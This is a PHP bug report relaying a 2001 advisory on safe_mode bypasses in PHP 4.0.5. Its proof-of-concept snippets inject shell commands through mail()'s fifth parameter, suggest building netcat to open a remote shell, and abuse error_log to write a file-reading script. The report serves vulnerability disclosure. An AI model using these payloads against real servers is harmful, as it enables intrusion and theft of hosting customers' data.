From: [EMAIL PROTECTED] Operating system: linux PHP version: 4.0.5 PHP Bug Type: *General Issues Bug description: linux exploitable ----- Original Message ----- From: "Joost Pol" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Saturday, June 30, 2001 1:40 PM Subject: php breaks safe mode > Laberatoire Contempt > > Date : 12/06/2001 > Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED]) > Impact : Minor in most cases. > > Subject : PHP safe_mode troubles. > > 1. PHP Version 4.0.5 breaks safe-mode. > > 1.0 - Description of the problem > > An extra 5th parameter was added to the mail() command breaking safemode: > > - snippet of the code in mail.c (lines 156-165) > > if (extra_cmd != NULL) { > sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); > strcpy (sendmail_cmd, sendmail_path); > strcat (sendmail_cmd, " "); > strcat (sendmail_cmd, extra_cmd); > } else sendmail_cmd = sendmail_path; } > sendmail = popen(sendmail_cmd, } } > > - end of code snippet > > The popen() function is the C library function popen(3). > > An attacker could easily upload a simple evil.php script containing: > > <? mail("foo@bar,"foo","bar","",$bar); ?> > > Then the script could be invoked using a simple query like: > > http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED] > > 1.1 Impact > > Well, first of all it renders an important part of safe_mode useless. > > Two examples come to mind: > > 1.1.1 Example 1 > > A customer has bougt some web space from a provider and is given only > ftp access to upload his files. The customer is not supposed to have > shell access nor view files outside of his home directory. > > The customer could easily upload and compile a "lite" version of the > popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make install) and spawn him self a remote shell on the hosting boxen. > > If something like suexec is not used by the provider, the shell spawned > could in fact be a "nobody" (uid of webserver) shell. This could make > the situation even worse. > > Situations where (virtual) hosting machines are used in a host-based > authentication scheme, i am not even willing to *consider*. > > 1.1.2 Example 2 > > A customer has bought some web space from a provider and was given > a shell account on the hosting boxen. > > If something similiar to suexec is not running the customer could spawn > him self a nobody (www, web, uid of webserver) shell. (1.1.1) > > The impact of this varies on a per setup/provider basis. > > Most providers just dont *expect* someone to have a shell with the uid > of the webserver on the hosting box. > > "Internal" scripts, database schemes and database password are commonly > (but sadly) left owned by the uid/gid of the webserver. These become > vulnerable. > > Even webserver configuration files (httpd.conf) and *complete* webserver > roots owned by the uid/gid of the webserver have been observed in > the wild. > > Experience learns that when unexepected-nobody access is gained on a > (virtual) hosting machine "bad" things are bound to happen sooner or later. > > 1.2 - Solution > > Well, obviously just a "slip" of the PHP-team. > > 5th argument to mail() should not be honored in safe_mode. (MHO) > > > 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode. > > > 2.0 - Description of the problem > > PHP safe_mode has the nice feature of disallowing the opening/reading > and writing to files that are not owned by the uid that the script > is owned by. > > Though using some "common sense" it still is possible to open/read > and write to files that are owned by the uid the webserver is > running as. > > *notice* assuming that something like suexec is not in place */notice* > > An attacker could upload a simple script that does the following: > > <? > $cmd = '<? showsource($foo); ?>'; > error_log($cmd,3,"/path/to/user/wwwspace/nobody.php"); > ?> > > For example, assuming that the error_log is owned by the webserver it > could be read using a simple query: > > http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log > > 2.1 - Impact > > Depends on the setup of the hosting box. > > If suexec or something similiar is used, impact is nihil. > > See also 1.1.1/1.1.2 > > 2.3 - Solution > > Disallow the changing of the error_log location in safe_mode? > > Not really for me to say, the PHP-team will come with something good. > > Notice: just changing the error_log function wont do, you could also > change the ini setting error_log (or another ini setting > that has a similiar effect). > > These ini settings can be set from a user script since they > all have PHP_INI_ALL perimissions. > > Maybe disallow setting of ini variables in safemode? > > EOF > > -- > Joost Pol alias 'Nohican' <[EMAIL PROTECTED]> PGP 584619BD > PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD > Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625 -- Edit Bug report at: http://bugs.php.net/?id=11890&edit=1 -- PHP Development Mailing List <http://www.php.net/> To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]